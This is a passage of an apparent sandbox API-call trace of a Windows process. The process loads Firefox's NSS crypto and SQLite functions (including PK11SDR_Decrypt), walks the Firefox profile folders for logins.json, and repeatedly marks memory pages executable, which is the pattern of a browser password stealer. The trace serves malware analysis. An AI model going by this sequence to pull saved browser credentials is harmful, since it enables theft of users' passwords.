NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.610] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.611] GetProcAddress (hModule=0x746e0000, lpProcName="sqlite3_open") returned 0x747349c9 [0155.612] GetProcAddress (hModule=0x746e0000, lpProcName="sqlite3_close") returned 0x74733341 [0155.612] GetProcAddress (hModule=0x746e0000, lpProcName="sqlite3_prepare_v2") returned 0x7471d529 [0155.612] GetProcAddress (hModule=0x746e0000, lpProcName="sqlite3_step") returned 0x746fcfda [0155.612] GetProcAddress (hModule=0x746e0000, lpProcName="sqlite3_column_text") returned 0x746fd453 [0155.613] GetProcAddress (hModule=0x746e0000, lpProcName="sqlite3_column_bytes") returned 0x746fd37e [0155.613] GetProcAddress (hModule=0x746e0000, lpProcName="sqlite3_finalize") returned 0x746fc7d3 [0155.613] GetProcAddress (hModule=0x746e0000, lpProcName="NSS_Init") returned 0x74770391 [0155.614] GetProcAddress (hModule=0x746e0000, lpProcName="PK11_GetInternalKeySlot") returned 0x747948fe [0155.614] GetProcAddress (hModule=0x746e0000, lpProcName="PK11_Authenticate") returned 0x7477d0d8 [0155.614] GetProcAddress (hModule=0x746e0000, lpProcName="PK11SDR_Decrypt") returned 0x7479089d [0155.614] GetProcAddress (hModule=0x746e0000, lpProcName="NSS_Shutdown") returned 0x7477061c [0155.615] GetProcAddress (hModule=0x746e0000, lpProcName="PK11_FreeSlot") returned 0x74794370 [0155.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.616] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.617] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x40d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcefe08, cbMultiByte=35, lpWideCharStr=0x1e7dec04, cchWideChar=2047 | out: lpWideCharStr="%appdata%\\Mozilla\\Firefox\\Profiles\\") returned 35 [0155.618] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.624] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.625] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.626] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.627] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.628] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.629] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\Mozilla\\Firefox\\Profiles\\", lpDst=0x1e280154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\") returned 0x3c [0155.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.629] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.630] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\\\*.*", lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1e258c08 [0155.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.643] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.645] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.645] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.646] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.647] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\.\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\logins.json")) returned 0xffffffff [0155.647] FindNextFileW (in: hFindFile=0x1e258c08, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0x3cfa0c70, ftLastAccessTime.dwHighDateTime=0x1d2f18b, ftLastWriteTime.dwLowDateTime=0x3cfa0c70, ftLastWriteTime.dwHighDateTime=0x1d2f18b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0155.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.670] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\..\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\logins.json")) returned 0xffffffff [0155.670] FindNextFileW (in: hFindFile=0x1e258c08, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 1 [0155.670] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf03b4, cbMultiByte=11, lpWideCharStr=0x1e7de91c, cchWideChar=2047 | out: lpWideCharStr="logins.jsonm Files\\Microsoft Office\\root\\Client\\api-ms-win-core-localization-l1-2-1.DLL") returned 11 [0155.670] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\3y2joh8o.default\\logins.json" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\mozilla\\firefox\\profiles\\3y2joh8o.default\\logins.json")) returned 0xffffffff [0155.678] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.679] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.681] FindNextFileW (in: hFindFile=0x1e258c08, lpFindFileData=0x1e7df990 | out: lpFindFileData=0x1e7df990*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3cfa0c70, ftCreationTime.dwHighDateTime=0x1d2f18b, ftLastAccessTime.dwLowDateTime=0xf4500380, ftLastAccessTime.dwHighDateTime=0x1d30616, ftLastWriteTime.dwLowDateTime=0xf4500380, ftLastWriteTime.dwHighDateTime=0x1d30616, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3y2joh8o.default", cAlternateFileName="3Y2JOH~1.DEF")) returned 0 [0155.685] GetSystemInfo (in: lpSystemInfo=0x1e7df8dc | out: lpSystemInfo=0x1e7df8dc*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0155.685] GetSystemInfo (in: lpSystemInfo=0x1e7df874 | out: lpSystemInfo=0x1e7df874*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0155.686] RtlWakeAllConditionVariable () returned 0x0 [0155.686] GetEnvironmentVariableA (in: lpName="MALLOC_OPTIONS", lpBuffer=0x746d16c0, nSize=0x40 | out: lpBuffer="") returned 0x0 [0155.686] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x1e8e0000 [0155.686] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.687] VirtualAlloc (lpAddress=0x0, dwSize=0x1ff000, flAllocationType=0x3000, flProtect=0x4) returned 0x1e8e0000 [0155.687] VirtualFree (lpAddress=0x1e8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.687] VirtualAlloc (lpAddress=0x1e900000, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x1e900000 [0155.688] VirtualFree (lpAddress=0x1e901000, dwSize=0xff000, dwFreeType=0x4000) returned 1 [0155.692] VirtualAlloc (lpAddress=0x1e901000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1e901000 [0155.693] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x1fde0000 [0155.693] VirtualFree (lpAddress=0x1fde0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.694] VirtualAlloc (lpAddress=0x0, dwSize=0x1ff000, flAllocationType=0x3000, flProtect=0x4) returned 0x1fde0000 [0155.694] VirtualFree (lpAddress=0x1fde0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0155.694] VirtualAlloc (lpAddress=0x1fe00000, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x1fe00000 [0155.695] VirtualFree (lpAddress=0x1fe01000, dwSize=0xff000, dwFreeType=0x4000) returned 1 [0155.701] VirtualAlloc (lpAddress=0x1fe01000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe01000 [0155.702] VirtualAlloc (lpAddress=0x1fe02000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe02000 [0155.702] strncpy (in: _Dest=0x1fe02050, _Source="clock", _Count=0x5 | out: _Dest="clock") returned="clock" [0155.702] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.703] strncpy (in: _Dest=0x1fe02058, _Source="cmon", _Count=0x4 | out: _Dest="cmon") returned="cmon" [0155.703] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.703] strncpy (in: _Dest=0x1fe02060, _Source="io", _Count=0x2 | out: _Dest="io") returned="io" [0155.703] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.703] strncpy (in: _Dest=0x1fe02068, _Source="mon", _Count=0x3 | out: _Dest="mon") returned="mon" [0155.703] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.704] strncpy (in: _Dest=0x1fe02070, _Source="linker", _Count=0x6 | out: _Dest="linker") returned="linker" [0155.704] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.704] strncpy (in: _Dest=0x1fe02078, _Source="cvar", _Count=0x4 | out: _Dest="cvar") returned="cvar" [0155.704] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.704] strncpy (in: _Dest=0x1fe02080, _Source="sched", _Count=0x5 | out: _Dest="sched") returned="sched" [0155.704] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.704] strncpy (in: _Dest=0x1fe02088, _Source="thread", _Count=0x6 | out: _Dest="thread") returned="thread" [0155.704] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.704] strncpy (in: _Dest=0x1fe02090, _Source="gc", _Count=0x2 | out: _Dest="gc") returned="gc" [0155.704] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.704] strncpy (in: _Dest=0x1fe02098, _Source="shm", _Count=0x3 | out: _Dest="shm") returned="shm" [0155.704] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.705] strncpy (in: _Dest=0x1fe020a0, _Source="shma", _Count=0x4 | out: _Dest="shma") returned="shma" [0155.705] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.705] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75b90000 [0155.706] GetProcAddress (hModule=0x75b90000, lpProcName="SetThreadDescription") returned 0x0 [0155.706] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75b90000 [0155.706] GetProcAddress (hModule=0x75b90000, lpProcName="InitializeCriticalSectionEx") returned 0x75ba4d28 [0155.706] VirtualAlloc (lpAddress=0x1fe03000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe03000 [0155.707] VirtualAlloc (lpAddress=0x1fe04000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe04000 [0155.708] VirtualAlloc (lpAddress=0x1fe0c000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe0c000 [0155.709] VirtualAlloc (lpAddress=0x1fe0d000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe0d000 [0155.710] GetCurrentProcess () returned 0xffffffff [0155.710] GetCurrentThread () returned 0xfffffffe [0155.710] GetCurrentProcess () returned 0xffffffff [0155.710] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x1fe0d148, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1fe0d148*=0x5e0) returned 1 [0155.710] GetCurrentThreadId () returned 0xde0 [0155.710] CreateSemaphoreA (lpSemaphoreAttributes=0x0, lInitialCount=0, lMaximumCount=1, lpName=0x0) returned 0x5e4 [0155.711] VirtualAlloc (lpAddress=0x1fe0e000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe0e000 [0155.713] VirtualAlloc (lpAddress=0x1fe12000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe12000 [0155.714] getenv (_VarName="NSPR_FD_CACHE_SIZE_LOW") returned 0x0 [0155.714] getenv (_VarName="NSPR_FD_CACHE_SIZE_HIGH") returned 0x0 [0155.715] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0155.715] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0155.715] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0155.715] WSAStartup (in: wVersionRequired=0x101, lpWSAData=0x1e7df770 | out: lpWSAData=0x1e7df770) returned 0 [0155.715] GetCurrentProcess () returned 0xffffffff [0155.715] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x1e7df2b0 | out: TokenHandle=0x1e7df2b0*=0x5e8) returned 1 [0155.715] GetTokenInformation (in: TokenHandle=0x5e8, TokenInformationClass=0x4, TokenInformation=0x1e7df2c0, TokenInformationLength=0x400, ReturnLength=0x1e7df2b4 | out: TokenInformation=0x1e7df2c0, ReturnLength=0x1e7df2b4) returned 1 [0155.715] GetLengthSid (pSid=0x1e7df2c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68))) returned 0x1c [0155.715] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x1fe12100, pSourceSid=0x1e7df2c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68)) | out: pDestinationSid=0x1fe12100*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68))) returned 1 [0155.716] GetTokenInformation (in: TokenHandle=0x5e8, TokenInformationClass=0x5, TokenInformation=0x1e7df2c0, TokenInformationLength=0x400, ReturnLength=0x1e7df2b4 | out: TokenInformation=0x1e7df2c0, ReturnLength=0x1e7df2b4) returned 1 [0155.716] GetLengthSid (pSid=0x1e7df2c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68))) returned 0x1c [0155.716] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x1fe12120, pSourceSid=0x1e7df2c4*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68)) | out: pDestinationSid=0x1fe12120*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68))) returned 1 [0155.716] CloseHandle (hObject=0x5e8) returned 1 [0155.716] AllocateAndInitializeSid (in: pIdentifierAuthority=0x1e7df2b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x7480a17c | out: pSid=0x7480a17c*=0x1e27c9f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0155.716] GetVersionExA (in: lpVersionInformation=0x1e7df6d8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x1e7df6d8*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0155.716] getenv (_VarName="NSPR_LOG_MODULES") returned 0x0 [0155.716] strncpy (in: _Dest=0x1fe010e0, _Source="Executable", _Count=0xa | out: _Dest="Executable") returned="Executable" [0155.717] GetModuleHandleA (lpModuleName=0x0) returned 0x400000 [0155.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, 